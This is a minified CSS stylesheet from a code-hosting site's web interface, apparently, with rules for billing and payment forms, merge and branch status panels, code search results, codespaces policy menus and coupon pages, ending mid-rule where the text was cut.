.progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options 